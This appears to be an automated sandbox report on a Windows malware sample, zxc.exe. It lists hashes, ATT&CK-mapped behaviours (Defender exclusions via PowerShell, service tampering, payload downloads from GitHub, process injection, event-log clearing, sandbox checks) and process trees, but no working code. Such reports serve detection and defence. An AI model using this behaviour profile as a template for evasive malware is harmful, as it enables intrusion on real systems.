cc938a7173b4bf5863d698d322be43378d520bdea430a390496b016c85410706

Analysis

max time kernel
1800s
max time network
1794s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
21-11-2024 19:36

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General

Target

zxc.exe
Size

6KB
MD5

1037e4868002ea28986b067e602219d5
SHA1

eb606ee00af1c8e3982d827819feb020e552602e
SHA256

cc938a7173b4bf5863d698d322be43378d520bdea430a390496b016c85410706
SHA512

4924969ef9398f3a45ada5dfbaeab93d92d761100fd174075b53fbfe116738b31bc338a904a102631a7239ee8f82b8bd3ca222053385fb686820ef543ea6e183
SSDEEP

96:TH79mNb60qvjnMmt3VI9dXlO5NzO6M8Ac/h6zanF3d3oj4rl:P9gqvjn3QdXlWNzOH8Ac/hT3d/

Score

8^/10

defense_evasion evasion execution persistence

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

6 1668 powershell.exe
8 1668 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

704 powershell.exe
4740 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

flow	pid	process
6	1668	powershell.exe
8	1668	powershell.exe

pid	process
704	powershell.exe
4740	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

zxc.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1669812756-2240353048-2660728061-1000\Control Panel\International\Geo\Nation zxc.exe
Executes dropped EXE 2 IoCs

Processes:

xdwd.exeUpdater32.exe

pid process

2052 xdwd.exe
1812 Updater32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1669812756-2240353048-2660728061-1000\Control Panel\International\Geo\Nation	zxc.exe

pid	process
2052	xdwd.exe
1812	Updater32.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

7 raw.githubusercontent.com
8 raw.githubusercontent.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

3540 powercfg.exe
1784 powercfg.exe
4992 powercfg.exe
4888 powercfg.exe
5044 powercfg.exe
348 powercfg.exe
4248 powercfg.exe
1240 powercfg.exe

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

pid	process
3540	powercfg.exe
1784	powercfg.exe
4992	powercfg.exe
4888	powercfg.exe
5044	powercfg.exe
348	powercfg.exe
4248	powercfg.exe
1240	powercfg.exe

Drops file in System32 directory 12 IoCs

Processes:

svchost.exeOfficeClickToRun.exepowershell.exeUpdater32.exexdwd.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater32.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\MRT.exe	xdwd.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

xdwd.exeUpdater32.exe

description	pid	process	target process
PID 2052 set thread context of 3148	2052	xdwd.exe	dialer.exe
PID 1812 set thread context of 1156	1812	Updater32.exe	dialer.exe
PID 1812 set thread context of 2544	1812	Updater32.exe	dialer.exe
PID 1812 set thread context of 560	1812	Updater32.exe	dialer.exe

Drops file in Windows directory 1 IoCs

Processes:

svchost.exe

description ioc process

File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4712 sc.exe
1780 sc.exe
1696 sc.exe
4632 sc.exe
4128 sc.exe
884 sc.exe
2364 sc.exe
4308 sc.exe
2904 sc.exe
4164 sc.exe
2904 sc.exe
4748 sc.exe
388 sc.exe
1152 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

pid	process
4712	sc.exe
1780	sc.exe
1696	sc.exe
4632	sc.exe
4128	sc.exe
884	sc.exe
2364	sc.exe
4308	sc.exe
2904	sc.exe
4164	sc.exe
2904	sc.exe
4748	sc.exe
388	sc.exe
1152	sc.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 63 IoCs

Processes:

powershell.exeOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 21 Nov 2024 19:51:28 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1732218687"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={96D533AC-157F-4C60-9416-4DFFA36B90DD}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe

Modifies registry class 1 IoCs

Processes:

sihost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-1669812756-2240353048-2660728061-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exexdwd.exepowershell.exedialer.exeUpdater32.exepowershell.exedialer.exe

pid	process
1668	powershell.exe
1668	powershell.exe
2052	xdwd.exe
704	powershell.exe
704	powershell.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
3148	dialer.exe
3148	dialer.exe
2052	xdwd.exe
2052	xdwd.exe
2052	xdwd.exe
3148	dialer.exe
3148	dialer.exe
1812	Updater32.exe
4740	powershell.exe
4740	powershell.exe
3148	dialer.exe
3148	dialer.exe
4740	powershell.exe
3148	dialer.exe
3148	dialer.exe
3148	dialer.exe
3148	dialer.exe
3148	dialer.exe
3148	dialer.exe
3148	dialer.exe
3148	dialer.exe
4740	powershell.exe
3148	dialer.exe
3148	dialer.exe
3148	dialer.exe
3148	dialer.exe
1812	Updater32.exe
1812	Updater32.exe
1812	Updater32.exe
3148	dialer.exe
3148	dialer.exe
1812	Updater32.exe
1812	Updater32.exe
3148	dialer.exe
3148	dialer.exe
1812	Updater32.exe
1812	Updater32.exe
1812	Updater32.exe
1812	Updater32.exe
1812	Updater32.exe
1812	Updater32.exe
1812	Updater32.exe
1156	dialer.exe
1156	dialer.exe
1812	Updater32.exe
3148	dialer.exe
3148	dialer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exexdwd.exedialer.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeIncreaseQuotaPrivilege	1668	powershell.exe
Token: SeSecurityPrivilege	1668	powershell.exe
Token: SeTakeOwnershipPrivilege	1668	powershell.exe
Token: SeLoadDriverPrivilege	1668	powershell.exe
Token: SeSystemProfilePrivilege	1668	powershell.exe
Token: SeSystemtimePrivilege	1668	powershell.exe
Token: SeProfSingleProcessPrivilege	1668	powershell.exe
Token: SeIncBasePriorityPrivilege	1668	powershell.exe
Token: SeCreatePagefilePrivilege	1668	powershell.exe
Token: SeBackupPrivilege	1668	powershell.exe
Token: SeRestorePrivilege	1668	powershell.exe
Token: SeShutdownPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeSystemEnvironmentPrivilege	1668	powershell.exe
Token: SeRemoteShutdownPrivilege	1668	powershell.exe
Token: SeUndockPrivilege	1668	powershell.exe
Token: SeManageVolumePrivilege	1668	powershell.exe
Token: 33	1668	powershell.exe
Token: 34	1668	powershell.exe
Token: 35	1668	powershell.exe
Token: 36	1668	powershell.exe
Token: SeDebugPrivilege	704	powershell.exe
Token: SeIncreaseQuotaPrivilege	704	powershell.exe
Token: SeSecurityPrivilege	704	powershell.exe
Token: SeTakeOwnershipPrivilege	704	powershell.exe
Token: SeLoadDriverPrivilege	704	powershell.exe
Token: SeSystemProfilePrivilege	704	powershell.exe
Token: SeSystemtimePrivilege	704	powershell.exe
Token: SeProfSingleProcessPrivilege	704	powershell.exe
Token: SeIncBasePriorityPrivilege	704	powershell.exe
Token: SeCreatePagefilePrivilege	704	powershell.exe
Token: SeBackupPrivilege	704	powershell.exe
Token: SeRestorePrivilege	704	powershell.exe
Token: SeShutdownPrivilege	704	powershell.exe
Token: SeDebugPrivilege	704	powershell.exe
Token: SeSystemEnvironmentPrivilege	704	powershell.exe
Token: SeRemoteShutdownPrivilege	704	powershell.exe
Token: SeUndockPrivilege	704	powershell.exe
Token: SeManageVolumePrivilege	704	powershell.exe
Token: 33	704	powershell.exe
Token: 34	704	powershell.exe
Token: 35	704	powershell.exe
Token: 36	704	powershell.exe
Token: SeDebugPrivilege	2052	xdwd.exe
Token: SeDebugPrivilege	3148	dialer.exe
Token: SeShutdownPrivilege	1240	powercfg.exe
Token: SeCreatePagefilePrivilege	1240	powercfg.exe
Token: SeShutdownPrivilege	348	powercfg.exe
Token: SeCreatePagefilePrivilege	348	powercfg.exe
Token: SeShutdownPrivilege	4248	powercfg.exe
Token: SeCreatePagefilePrivilege	4248	powercfg.exe
Token: SeShutdownPrivilege	5044	powercfg.exe
Token: SeCreatePagefilePrivilege	5044	powercfg.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	4740	powershell.exe
Token: SeIncreaseQuotaPrivilege	4740	powershell.exe
Token: SeSecurityPrivilege	4740	powershell.exe
Token: SeTakeOwnershipPrivilege	4740	powershell.exe
Token: SeLoadDriverPrivilege	4740	powershell.exe
Token: SeSystemtimePrivilege	4740	powershell.exe
Token: SeBackupPrivilege	4740	powershell.exe
Token: SeRestorePrivilege	4740	powershell.exe
Token: SeShutdownPrivilege	4740	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

zxc.exepowershell.execmd.exexdwd.exedialer.exelsass.exe

description	pid	process	target process
PID 1664 wrote to memory of 1668	1664	zxc.exe	powershell.exe
PID 1664 wrote to memory of 1668	1664	zxc.exe	powershell.exe
PID 1668 wrote to memory of 2052	1668	powershell.exe	xdwd.exe
PID 1668 wrote to memory of 2052	1668	powershell.exe	xdwd.exe
PID 2212 wrote to memory of 240	2212	cmd.exe	wusa.exe
PID 2212 wrote to memory of 240	2212	cmd.exe	wusa.exe
PID 2052 wrote to memory of 3148	2052	xdwd.exe	dialer.exe
PID 2052 wrote to memory of 3148	2052	xdwd.exe	dialer.exe
PID 2052 wrote to memory of 3148	2052	xdwd.exe	dialer.exe
PID 2052 wrote to memory of 3148	2052	xdwd.exe	dialer.exe
PID 2052 wrote to memory of 3148	2052	xdwd.exe	dialer.exe
PID 2052 wrote to memory of 3148	2052	xdwd.exe	dialer.exe
PID 2052 wrote to memory of 3148	2052	xdwd.exe	dialer.exe
PID 3148 wrote to memory of 628	3148	dialer.exe	winlogon.exe
PID 3148 wrote to memory of 692	3148	dialer.exe	lsass.exe
PID 3148 wrote to memory of 972	3148	dialer.exe	svchost.exe
PID 692 wrote to memory of 2960	692	lsass.exe	sysmon.exe
PID 3148 wrote to memory of 408	3148	dialer.exe	svchost.exe
PID 692 wrote to memory of 2960	692	lsass.exe	sysmon.exe
PID 3148 wrote to memory of 712	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 992	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1028	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1056	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1088	3148	dialer.exe	dwm.exe
PID 3148 wrote to memory of 1124	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1180	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1312	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1396	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1476	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1484	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1492	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1604	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1624	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1684	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1756	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1764	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1896	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2016	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1172	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1408	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 1600	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2116	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2216	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2292	3148	dialer.exe	spoolsv.exe
PID 3148 wrote to memory of 2404	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2568	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2688	3148	dialer.exe	sihost.exe
PID 3148 wrote to memory of 2696	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2764	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2772	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2824	3148	dialer.exe	taskhostw.exe
PID 3148 wrote to memory of 2860	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2916	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2960	3148	dialer.exe	sysmon.exe
PID 3148 wrote to memory of 2984	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 2992	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 3060	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 3252	3148	dialer.exe	unsecapp.exe
PID 3148 wrote to memory of 3544	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 3632	3148	dialer.exe	Explorer.EXE
PID 3148 wrote to memory of 3756	3148	dialer.exe	svchost.exe
PID 3148 wrote to memory of 4044	3148	dialer.exe	RuntimeBroker.exe
PID 3148 wrote to memory of 4120	3148	dialer.exe	RuntimeBroker.exe
PID 3148 wrote to memory of 4352	3148	dialer.exe	DllHost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1088

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1312
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1604

